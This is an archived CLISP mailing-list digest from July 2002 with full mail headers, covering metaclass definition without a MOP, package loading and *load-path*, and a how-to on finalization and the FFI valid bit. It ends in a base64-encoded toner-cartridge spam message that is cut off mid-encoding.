4.5 [fr] (Macintosh; U; PPC) X-Accept-Language: fr MIME-Version: 1.0 To: John Jorgensen , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MOP References: Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353" Content-Transfer-Encoding: 7bit Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 8 07:32:09 2002 X-Original-Date: Mon, 08 Jul 2002 16:26:17 +0200 Thanks for your answer John, but I want to define a meta-class (defclass omclass (standard-class) ()) and then use it as meta-class of new classes, i.e. (defclass new-class () () (:metaclass omClass)) thanks again, Carlos Agon John Jorgensen a *crit : > I'm not a lisp expert, but I thought with ANSI LISP it would be; > (defclass () ()) with an assumed standard class. > > J* > ----------------------- > > Hi, > > > > I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a > > little problem : > > > > I try to define a new class by > > > > (defclass omclass (standard-class) ()) > > > > but i get the error > > > > *** - DEFCLASS OMCLASS : La classe sup?eure # > STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS. > > > > > > Can somebody help me ? > > > > I use clisp-2.28 on MacOs X > > > > thanks, > > > > Carlos Agon > > > > > > > > > > > > ------------------------------------------------------- > > This sf.net email is sponsored by:ThinkGeek > > Oh, it's good to be a geek. > > http://thinkgeek.com/sf > > _______________________________________________ > > clisp-list mailing list > > clisp-list@lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/clisp-list > > From peter.denno@nist.gov Mon Jul 08 07:44:32 2002 Received: from dribble.cme.nist.gov ([129.6.32.31] helo=dribble.mel.cme.nist.gov) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RZkX-0008OR-00 for ; Mon, 08 Jul 2002 07:44:25 -0700 Received: from bordercollie (bordercollie.dmz.cme.nist.gov [129.6.78.119]) by dribble.mel.cme.nist.gov (8.9.3/8.9.3) with ESMTP id KAA06808; Mon, 8 Jul 2002 10:44:11 -0400 (EDT) Content-Type: text/plain; charset="iso-8859-1" From: Peter Denno Organization: National Institute of Standards and Technology To: Carlos.Agon@ircam.fr, clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MOP User-Agent: KMail/1.4.1 References: <3D299279.B03BA450@ircam.fr> In-Reply-To: <3D299279.B03BA450@ircam.fr> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200207081044.22679.peter.denno@nist.gov> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 8 07:45:04 2002 X-Original-Date: Mon, 8 Jul 2002 10:44:22 -0400 Hi, Clisp doesn't have a MOP. In theory at least, you should be able to replace its CLOS implementation with PCL (Portable Common Loops), which is fairly close to the MOP described in Kiczales' book. There is, in fact, a source distribution of PCL that includes the low-level routines to apply PCL to CLisp. However, it is out of date with Clisp. I have spent some time trying to get it to work again, but have not completed this work. On Monday 08 July 2002 09:24, Augusto wrote: > Hi, > > I start to move my code (www.ircam.fr/openmusic) to clisp, but I have a > little problem : > > I try to define a new class by > > (defclass omclass (standard-class) ()) > > but i get the error > > *** - DEFCLASS OMCLASS : La classe sup?eure # STANDARD-CLASS> n'appartient pas ?a classe STANDARD-CLASS. > > > Can somebody help me ? > > I use clisp-2.28 on MacOs X > > thanks, > > Carlos Agon > > > > > > ------------------------------------------------------- > This sf.net email is sponsored by:ThinkGeek > Oh, it's good to be a geek. > http://thinkgeek.com/sf > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list -- Best Regards, - Peter Peter Denno National Institute of Standards and Technology, Manufacturing System Integration Division, 100 Bureau Drive, Mail Stop 8260 Tel: +1 301-975-3595 Gaithersburg, MD, USA 20899-8260 FAX: +1 301-975-4694 From samuel.steingold@verizon.net Mon Jul 08 09:15:55 2002 Received: from h023.c001.snv.cp.net ([209.228.32.138] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RbB4-0006CA-00 for ; Mon, 08 Jul 2002 09:15:54 -0700 Received: (cpmta 5234 invoked from network); 8 Jul 2002 09:15:48 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.138) with SMTP; 8 Jul 2002 09:15:48 -0700 X-Sent: 8 Jul 2002 16:15:48 GMT To: Carlos.Agon@ircam.fr Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MOP References: <3D29A109.C79F3CB5@ircam.fr> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <3D29A109.C79F3CB5@ircam.fr> Message-ID: Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Jul 8 09:16:07 2002 X-Original-Date: 08 Jul 2002 12:15:47 -0400 > * In message <3D29A109.C79F3CB5@ircam.fr> > * On the subject of "Re: [clisp-list] MOP" > * Sent on Mon, 08 Jul 2002 16:26:17 +0200 > * Honorable Augusto writes: > > Thanks for your answer John, but I want to define a meta-class > > (defclass omclass (standard-class) ()) > > and then use it as meta-class of new classes, i.e. > > (defclass new-class () () > (:metaclass omClass)) [8]> (defclass omclass (standard-class) () (:metaclass structure-class)) # [9]> (defclass new-class () () (:metaclass omClass)) # -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux It's not just a language, it's an adventure. Common Lisp. From Rohan.Nicholls@informaat.nl Tue Jul 09 02:25:52 2002 Received: from [193.172.12.24] (helo=golf.informaat.com) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RrFo-0003OE-00 for ; Tue, 09 Jul 2002 02:25:52 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Message-ID: <4F921A056342324B8F02280235DF4F920FC6FE@golf.informaat.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: *load-path* Thread-Index: AcInKpJ3JCSDe9CKTT+gQHnaQCRGhQ== From: "Rohan Nicholls" To: Subject: [clisp-list] *load-path* Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 9 02:26:04 2002 X-Original-Date: Tue, 9 Jul 2002 11:25:33 +0200 Can someone clarify for me: When I want to include a package, I borrowed this from init.lisp (use-package '("COMMON-LISP" "CUSTOM") "EXT") (in-package "EXT") How does clisp know where to find "EXT", and "COMMON-LISP" or "CUSTOM" = for that matter? Does it look in the *load-path* and look for files of that name, or are = all these packages contained in the files loaded at the top of = init.lisp? I have not been able to find any files with these names and = am a little confused. I guess I am stuck in emacs mode which is leading = to the confusion. If this is not so, what should I be setting my = *load-path* variable to, as at the moment it is not set to where the = binaries are kept. Am I right in thinking that the declaration (in-package "EXT") means = that from here on in the code is to assume being in the package "EXT", = so if the (use-package etc) statement above was not there then any calls = to functions in "COMMON-LISP" would have a common-lisp:: prefix? I apologise if this is a monumentally stupid question, but after making = my way through two lisp books, this is still a point of confusion for = me, and I think it is because it is implementation dependent, which is = why I am asking on clisp.:) The reason why I am asking this, is because I have built an image but am = having problems with defining new variables, it seems I am stuck in the = "EXT" package, and there were some very helpful mails to someone else = earlier on the topic, with a solution but I would like to correct the = package problem at the source, so I am trying to follow what is = happening in lisp.init and see if I can put the line in at the end so = clisp starts in the COMMON-LISP-USER package. Thanks in advance, and sorry this was so long. Rohan From Joerg-Cyril.Hoehle@t-systems.com Tue Jul 09 05:32:25 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RuAI-0005B2-00 for ; Tue, 09 Jul 2002 05:32:23 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP; Tue, 9 Jul 2002 14:30:35 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3R3B9LFL>; Tue, 9 Jul 2002 14:31:21 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: Rohan.Nicholls@informaat.nl Subject: AW: [clisp-list] *load-path* MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 9 05:33:02 2002 X-Original-Date: Tue, 9 Jul 2002 14:31:14 +0200 Rohan Nicholls >Can someone clarify for me: >When I want to include a package, I borrowed this from init.lisp >(use-package '("COMMON-LISP" "CUSTOM") "EXT") You're confusing loading smoething and using packages. I guess "Include = a package" in unclear to you. First, you need to make the foreign package available, e.g. by using a = LOAD on the file containing the foreign package definition and = functionality. If you want to define your own package, DEFPACKAGE is the preferred = form these days, over separate MAKE-PACKAGE, USE-PACKAGE, EXPORT, = IMPORT etc. >How does clisp know where to find "EXT", and "COMMON-LISP" or=20 >"CUSTOM" for that matter? Because it doesn't load them. USE-PACKAGE assumes it is already loaded. Try out (LIST-ALL-PACKAGES). You can only use one of these. Maybe REQUIRE (and PROVICE) is what you're after (automatically loading = files instead of using packages)? >Am I right in thinking that the declaration (in-package "EXT")=20 >means that from here on in the code is to assume being in the=20 Yes, if this form appears at top-level. >package "EXT", so if the (use-package etc) statement above was=20 >not there then any calls to functions in "COMMON-LISP" would=20 >have a common-lisp:: prefix? It depends on what package EXT uses itself. Most packages use package COMMON-LISP. The usual prefix should be a single colon, e.g. COMMON-LISP:LIST :: means access to the internals - beware - private! >I apologise if this is a monumentally stupid question=20 Not so. I hope my answers bring you forward. >seems I am stuck in the "EXT" package, and there were some=20 >very helpful mails to someone else earlier on the topic, with=20 >[...] >lisp.init and see if I can put the line in at the end so clisp=20 >starts in the COMMON-LISP-USER package. I didn't follow that thread. The idea should be that one of the last forms in INIT.LISP (before = SAVE[INIT]MEM) sets the package that will be current when CLISP = restarts from the saved image. Regards, J=F6rg H=F6hle. From Joerg-Cyril.Hoehle@t-systems.com Tue Jul 09 06:56:40 2002 Received: from mail1.telekom.de ([62.225.183.235]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17RvTq-0006Dr-00 for ; Tue, 09 Jul 2002 06:56:39 -0700 Received: from g8pbr.blf01.telekom.de by G8SBV.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Tue, 9 Jul 2002 15:55:40 +0200 Received: by G8PBR.blf01.telekom.de with Internet Mail Service (5.5.2653.19) id <3R3B9QLQ>; Tue, 9 Jul 2002 15:56:26 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Subject: [clisp-list] howto: Finalization in CLISP (was: Ensuring call of cleanup ("des tructor") routine for "C" object) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 9 06:57:07 2002 X-Original-Date: Tue, 9 Jul 2002 15:56:24 +0200 Hi, Kaz Kylheku wrote: >But really, releasing resources such as open files, sockets or database >connections at garbage collection time is probably too late! >Such things should be explicitly released. >One model to look at are the WITH-* standard macros in Common Lisp. >For example WITH-OPEN-FILE associates a new stream with a file, >evaluates some forms and then esures that the stream is closed. >These macros are typically based on UNWIND-PROTECT. The following is part of a possible future article on how to write C code with CLISP (a different article from the one about how to extend CLISP with modules). FINALIZE is in CLISP (package EXT, see impnotes.html). FINALIZE in CLISP does not guarantee finalization. Although it is invoked by the garbage collector, it is not used when CLISP exists. This is different from the specification of the Haskell FFI. But this is not the topic of this article. This article is about the VALID bit that CLISP provides with foreign pointers. This bit can be used to ensure that objects are deallocated/closed at most once. It does not solve the close-on-exit problem. The CLISP FFI encapsulates objects of type FOREIGN-POINTER (and therefore FOREIGN-ADDRESS, FOREIGN-VARIABLE and FOREIGN-FUNCTION) into a box that has additional bits. One of these is the valid bit and can be accessed from C with fp_valid() and mark_fpr_[in]valid(). This bit can be queried from Lisp using EXT:VALIDP. I recommend to protect a foreign resource twice using this bit. o Once by using WITH-* based unwind-protect macros o Once by using this valid bit, as explained here. This may look like duplicate work. It may make you feel better. Using this bit has the additional advantage that CLISP will generate an error when trying to access the FOREIGN-* pointer after it has become invalid (like Lisp-level streams). When using CLISP's FFI FFI:C-POINTER :return-type specification, CLISP creates and returns an object of type FOREIGN-ADDRESS. Your low-level deallocate/close/release() C routine could look like variations on the following: { var object faddress = popSTACK(); # FOREIGN-ADDRESS TODO_check_type(faddress); var object fpointer = TheFaddress(faddress)->fa_base; if (fp_validp(TheFpointer(lib))) { release/deallocate(Faddress_value(faddress)); mark_fp_invalid(TheFpointer(fpointer)); # also? TheFpointer(fpointer)->fp_pointer = NULL; } } The finalization code could look as follows: (finalize x #'(lambda (x) (when (ffi:validp x) (my-package:release x)))) or (defun close-my-resource (x) (check-type x FOREIGN-ADDRESS) (when (ffi:validp x) ; like cl:close: don't complain if already released (my-package::release x))) (finalize x #'close-my-resource) You choose where to put the tests: at the C or Lisp level. As a counter-example, the current regexp module doesn't use this approach. It doesn't export the release functionality. It always releases via finalization, without checking, so the programmer cannot use regexp-free() him/herself before GC or the system will crash later (attempt to free memory twice). This is a design choice. User beware: fp_valid() etc. are to be called on the FOREIGN-POINTER object, which is a slot within the FOREIGN-ADDRESS one (pointer indirection, not substructure). My extensions to the CLISP FFI (not sure it eevn in CVS yet) provide better access to the VALID bit from Lisp: (FFI:MARK-INVALID-FOREIGN foreign-address) and hide the FOREIGN-POINTER vs FOREIGN-ADDRESS dichotomy. However I didn't provide MARK-FOREIGN-VALID-AGAIN because I feel this is too dangerous (this is left to C code if your 0.01% presumed usage pattern needs that). If you're writing C code (e.g. niterface stubs for gdi/opengl/xyz), you don't need my extensions. Your code can work with a clisp from 1995. Examples of usage: CLISP src/rexx.d, foreign.d, my previously posted dynload module and ffi hacks. If you're interested in the close-on-exit problem, here's what I wrote in my article on extending CLISP via modules: :Q: Why are there two module initialization, but no exit functions? :Module exit was deemed superfluous. The OS shall free resources on program exit. :Adding the functionality would be straightforward. Given the current lack of module :developers, I believe nobody would be bothered by the change of module structure. :o State you need it. :o Provide patch (foreign.lisp, spvw_*.d, TODO queens?). [If you need a copy of that article, mail me] Regards, Jorg Hohle. From samuel.steingold@verizon.net Tue Jul 09 12:04:47 2002 Received: from h020.c001.snv.cp.net ([209.228.32.134] helo=c001.snv.cp.net) by usw-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17S0I2-0001kq-00 for ; Tue, 09 Jul 2002 12:04:46 -0700 Received: (cpmta 3648 invoked from network); 9 Jul 2002 12:04:39 -0700 Received: from 65.114.186.226 (HELO glip.premonitia.com) by smtp.premonitia.com (209.228.32.134) with SMTP; 9 Jul 2002 12:04:39 -0700 X-Sent: 9 Jul 2002 19:04:39 GMT To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] howto: Finalization in CLISP References: Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Message-ID: Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 9 12:05:35 2002 X-Original-Date: 09 Jul 2002 15:04:32 -0400 > * In message > * On the subject of "[clisp-list] howto: Finalization in CLISP (was: Ensuring call of cleanup ("des tructor") routine for "C" object)" > * Sent on Tue, 9 Jul 2002 15:56:24 +0200 > * Honorable "Hoehle, Joerg-Cyril" writes: > > FINALIZE in CLISP does not guarantee finalization. Although it is > invoked by the garbage collector, it is not used when CLISP exists. this is easy to fix - just run all finalizers on exit. should it be? what are the issues? (obviously, the possible errors while running the finalizers have to be ignored -- what else?) -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.2 GNU/Linux In C you can make mistakes, while in C++ you can also inherit them! From gjghr8g1GV@care2.com Tue Jul 09 23:35:25 2002 Received: from panoramix.vasoftware.com ([198.186.202.147] helo=mail2.vasoftware.com) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 17SB4P-000774-00; Tue, 09 Jul 2002 23:35:25 -0700 Received: from main.ekokaloria.com.pl ([195.117.92.58] helo=yahoo.com) by mail2.vasoftware.com with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17SB4I-0002sM-00; Tue, 09 Jul 2002 23:35:19 -0700 Received: from unknown (200.168.134.133) by anther.webhostingtalk.com with esmtp; Tue, 9 Jul 2002 06:07:05 -0700 Reply-To: Message-ID: From: To: , , , , MiME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00W9_70A11B1D.E1222I43" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 Importance: Normal Subject: [clisp-list] tonrer cartridges Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Jul 9 23:36:02 2002 X-Original-Date: Wed, 10 Jul 2002 17:09:29 -0400 ------=_NextPart_000_00W9_70A11B1D.E1222I43 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: base64 PEhUTUw+DQo8SEVBRD4NCjxNRVRBIEhUVFAtRVFVSVY9IkNvbnRlbnQtVHlwZSIgQ09OVEVOVD0i dGV4dC9odG1sOyBjaGFyc2V0PXdpbmRvd3MtMTI1MiI+DQo8TUVUQSBOQU1FPSJHZW5lcmF0b3Ii IENPTlRFTlQ9Ik1pY3Jvc29mdCBXb3JkIDk3Ij4NCjxUSVRMRT5mZ2ZnPC9USVRMRT4NCjwvSEVB RD4NCjxCT0RZIExJTks9IiMwMDAwZmYiIFZMSU5LPSIjODAwMDgwIj4NCg0KPFA+PCFkb2N0eXBl IGh0bWwgcHVibGljICItLy93M2MvL2R0ZCBodG1sIDQuMCB0cmFuc2l0aW9uYWwvL2VuIj4mbmJz cDsgPC9QPg0KPFRBQkxFIEJPUkRFUiBDRUxMU1BBQ0lORz0xIFdJRFRIPTYyND4NCjxUUj48VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiMwMDgwODAiPg0KPFAgQUxJR049IkNFTlRFUiI+PEI+ PEZPTlQgU0laRT02IENPTE9SPSIjZmZmZmZmIj5WRVJURVggTEFTRVIgQU5EIDwvUD4NCjxQIEFM SUdOPSJDRU5URVIiPkNPUElFUiBTVVBQTElFUzwvQj48L0ZPTlQ+PC9URD4NCjwvVFI+DQo8L1RB QkxFPg0KDQo8REw+DQo8RFQ+PEJSPg0KJm5ic3A7IDwvRFQ+DQo8L0RMPg0KPEZPTlQgU0laRT01 PjxQIEFMSUdOPSJDRU5URVIiPlRBS0UgQURWQU5UQUdFIE9GIFRIRSA8Qj48ST48VT5TQVZJTkdT PC9CPjwvST48L1U+IFdISUxFIA0KTEFTVCEhITwvUD4NCjxQIEFMSUdOPSJDRU5URVIiPldFIEFS RSBSRURVQ0lORyBPVVIgSU5WRU5UT1JZIEZPUiA8L1A+DQo8UCBBTElHTj0iQ0VOVEVSIj5USEUg U1VNTUVSIE9GIDIwMDIgT04gT1VSIExBU0VSIDwvUD4NCjxQIEFMSUdOPSJDRU5URVIiPlBSSU5U RVIgQU5EIENPUElFUiBTVVBQTElFUzwvRk9OVD4gPEJSPg0KJm5ic3A7IDwvUD4NCjxQIEFMSUdO PSJDRU5URVIiPiZuYnNwOzxGT05UIFNJWkU9NT5PUkRFUiBCWSBQSE9ORTogMS04ODgtMjg4LTkw NDM8L0ZPTlQ+IDxCUj4NCjxGT05UIFNJWkU9NT5PUkRFUiBCWSBGQVg6IDEtODg4LTk3Ny0xNTc3 PC9GT05UPiA8L1A+DQo8Qj48Rk9OVCBTSVpFPTUgQ09MT1I9IiMwMDAwODAiPjxQIEFMSUdOPSJD RU5URVIiPioqKkVNQUlMIFJFTU9WQUwgTElORTogDQoxLTg4OC0yNDgtNDkzMCoqKjwvRk9OVD48 Rk9OVCBTSVpFPTU+IDwvUD4NCjwvQj48L0ZPTlQ+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7T1JE RVIgQlkgUEFHRSBOVU1CRVIgQU5EL09SIElURU0gTlVNQkVSIDxCUj4NCiZuYnNwOyA8QlI+DQom bmJzcDsgPC9QPg0KPFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7Jm5ic3A7Jm5ic3A7Jm5ic3A7PEZP TlQgRkFDRT0iQ29taWMgU2FucyBNUyI+Jm5ic3A7IDwvRk9OVD48VT48Rk9OVCANCkZBQ0U9IkFy aWFsLEhlbHZldGljYSIgU0laRT01IENPTE9SPSIjMDAwMDgwIj5Gb3IgSGV3bGV0dCBQYWNrYXJk IFByaW50ZXJzOjxJPiA8L0k+KFBhZ2UgMik8L1A+PC9VPjwvRk9OVD4NCjxQIEFMSUdOPSJDRU5U RVIiPjxDRU5URVI+PFRBQkxFIEJPUkRFUiBDRUxMU1BBQ0lORz0xIFdJRFRIPTQ5OT4NCjxUUj48 VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiMwMDgwODAiPg0KPFAgQUxJR049IkNFTlRFUiI+ PEI+PEZPTlQgU0laRT00IENPTE9SPSIjZmZmZmZmIj5JVEVNPC9CPjwvRk9OVD48L1REPg0KPFRE IFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjMDA4MDgwIj4NCjxGT05UIFNJWkU9ND48UCBBTElH Tj0iQ0VOVEVSIj4mbmJzcDs8L0ZPTlQ+PEI+PEZPTlQgU0laRT00IA0KQ09MT1I9IiNmZmZmZmYi PkRFU0NSSVBUSU9OPC9CPjwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9S PSIjZmZmZjAwIj4NCjxCPjxGT05UIFNJWkU9NCBDT0xPUj0iI2ZmZmZmZiI+PFAgQUxJR049IkNF TlRFUiI+TUZHICM8L0I+PC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9 IiNmZmZmMDAiPg0KPEI+PEZPTlQgU0laRT00IENPTE9SPSIjZmZmZmZmIj48UCBBTElHTj0iQ0VO VEVSIj5QUklDRTwvQj48L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElHTj0iTUlERExF IiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJ R049IkNFTlRFUiI+SXRlbSAjMTwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NP TE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNF TlRFUiI+TGFzZXJqZXQgU2VyaWVzIDRMLCA0UCZuYnNwOzwvRk9OVD48L1REPg0KPFREIFZBTElH Tj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4 MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7OTIyNzRBPC9GT05UPjwvVEQ+DQo8VEQgVkFMSUdO PSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgw Ij48UCBBTElHTj0iQ0VOVEVSIj4kNDQ8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+PFREIFZBTElH Tj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4 MCI+PFAgQUxJR049IkNFTlRFUiI+SXRlbSAjMjwvRk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlE RExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAg QUxJR049IkNFTlRFUiI+TGFzZXJqZXQgU2VyaWVzIDExMDAsMzIwMDwvRk9OVD48L1REPg0KPFRE IFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0i IzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7QzQwOTI8L0ZPTlQ+PC9URD4NCjxURCBW QUxJR049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMw MDAwODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwOyQ0NDwvRk9OVD48L1REPg0KPC9UUj4NCjxU Uj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENP TE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj5JdGVtICMzPC9GT05UPjwvVEQ+DQo8VEQg VkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIj MDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDtMYXNlcmpldCBTZXJpZXMmbmJzcDsgMjwv Rk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05U IFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7IDkyMjk1QTwv Rk9OVD48L1REPg0KPFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05U IFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNFTlRFUiI+Jm5ic3A7ICQ0OTwvRk9O VD48L1REPg0KPC9UUj4NCjxUUj48VEQgVkFMSUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAi Pg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAwMDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDtJ dGVtICMgNDwvRk9OVD48L1REPg0KPFREIFdJRFRIPSI3NyUiIFZBTElHTj0iTUlERExFIiBCR0NP TE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xPUj0iIzAwMDA4MCI+PFAgQUxJR049IkNF TlRFUiI+Jm5ic3A7TGFzZXJqZXQgU2VyaWVzJm5ic3A7IDJQPC9GT05UPjwvVEQ+DQo8VEQgVkFM SUdOPSJNSURETEUiIEJHQ09MT1I9IiNmZmZmMDAiPg0KPEZPTlQgU0laRT00IENPTE9SPSIjMDAw MDgwIj48UCBBTElHTj0iQ0VOVEVSIj4mbmJzcDs5MjI3NUE8L0ZPTlQ+PC9URD4NCjxURCBWQUxJ R049Ik1JRERMRSIgQkdDT0xPUj0iI2ZmZmYwMCI+DQo8Rk9OVCBTSVpFPTQgQ09MT1I9IiMwMDAw ODAiPjxQIEFMSUdOPSJDRU5URVIiPiZuYnNwOyAkNTQ8L0ZPTlQ+PC9URD4NCjwvVFI+DQo8VFI+ PFREIFZBTElHTj0iTUlERExFIiBCR0NPTE9SPSIjZmZmZjAwIj4NCjxGT05UIFNJWkU9NCBDT0xP 